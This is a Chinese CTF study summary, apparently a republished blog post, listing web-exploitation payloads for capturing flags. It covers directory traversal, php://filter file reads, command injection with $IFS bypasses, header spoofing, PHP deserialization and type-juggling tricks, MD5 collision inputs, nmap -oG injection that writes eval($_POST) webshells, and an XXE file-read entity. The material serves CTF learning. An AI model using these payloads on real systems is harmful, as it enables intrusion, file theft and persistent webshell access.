第1-63题总结:URL提交参数获取flag篇

Posted 想学习安全的小白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了第1-63题总结:URL提交参数获取flag篇相关的知识,希望对你有一定的参考价值。

第一种:使用目录穿越方法,提交参数时输入:xxxx?/…/…/…/…/flag,利用?/将xxx文件失效,解析到flag所在文档,eg:第一题

第二种:使用filter协议读取文件,语句:php://filter/read=convert.base64-encode/resource=flag.php

php://filter可以在resource之前嵌套一层目录,利用此原理获取flag
输入php://filter/convert.base64-encode/index/resource=flag,得到base64编码,解码后得到flag

第三种:执行ping命令时,使用|或;执行除ping命令外我们想要执行的命令

空格替换:采用$IPS$1代替空格
关键字替换,cat /flag=a=g;cat$IFS$1fla$a

第四种:利用空格绕过WAF,利用print_r(scandir(chr(47)))获取根目录下文件,利用print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))获取flag,eg:第十三题

第五种:判断流量包

  1. 指明原跳转页面,添加Referer一栏指明https://www.Sycsecret.com
  2. 指明浏览器:修改User-Agent一栏为:Syclover
  3. X-Forwarded-For:127.0.0.1来指定请求方的IP

第六种:使用dirsearch扫描目录

  1. www.zip
  2. index.php.bak
  3. 存在/.git目录,利用GitHack
  4. phpmyadmin
  5. index.php.swp

第七种:反序列化漏洞

 protected:声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\\0*\\0的前缀
对于private变量,我们需要在类名和字段名前面都会加上\\0的前缀
如果想放在浏览器中直接提交,我们可以将\\0换成%00
  1. weakup函数会在反序列化时执行,绕过方法,修改序列化字符串中成员数量,将正确的:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}修改为错误的:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
  2. extract($_POST);通过POST提交重名的_SESSION对象,可以覆盖掉之前的_SEEION对象值

第八种:类型绕过

  1. 弱等绕过,php的==会将数字加字符串类型强制转换为数字,舍去字符后面的全部内容
  2. 数字长度绕过,利用数组
  3. 值不同,md5值相同,利用数组进行绕过a[]=1&b[]=2,或者
  4. intval函数会将输入的字符串转化为int型数字,若输入的有数字有字符,则将字符前的数字转化为int,字符后的数字舍去。但是当我们以科学计数法输入不会识别成科学计数法,会当成数字+字符组合,但对科学i计数法进行加减法,再使用intval提取时会得到正确结果,所以输入3e3,intval(3e3)=3,intval(3e3+1)=3001
  5. cat替换为wctf2020,我们可以使用tac,若里面有空格,则strstr函数会识别出来,可以采用$IFS$9代替空格
$md5=$_GET['md5'];
  if ($md5==md5($md5))

md5=0e215962017

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第九种:session绕过,eg:第二十题

第十种:利用data协议绕过file_get_contents函数,data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=,eg:第二十四题

第十一种:nmap绕过,eg:第三十三题

1、

nmap有个参数-oG可以使扫描结果保存为指定名字的文件。
构建host=' <?php echo 'cat /flag'?> -oG 1.php '之后访问1.php就可以获取flag了echo后面不是单引号,单引号会被加上\\,是~键的反引号,单引号内的内容需要空格和单引号隔开。
或者构建host=' <?php @eval($_POST["pass"]);?> -oG 1.php '上传一句话木马,之后通过蚁剑连接后查找flag。

2、

' <?= @eval($_POST["hack"]);?> -oG hack.phtml '

蚁剑连接hack.phtml

第十二种:preg_replace函数绕过,eg:第四十题

构造参数:\\S*=${getFlag()}

第十三种:XML

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY XXE SYSTEM "file:///文件名" >]>
<name>&XXE;</name>

第十四种:UTF-8绕过,eg:第四十六题

以上是关于第1-63题总结:URL提交参数获取flag篇的主要内容,如果未能解决你的问题,请参考以下文章

第1-63题总结:SSTI模板注入篇

第1-63题总结:文件上传篇

最全CTF Web题思路总结(更新ing)

接口测试面试题总结

获取URL参数

java 模拟浏览器提交表单后获取新url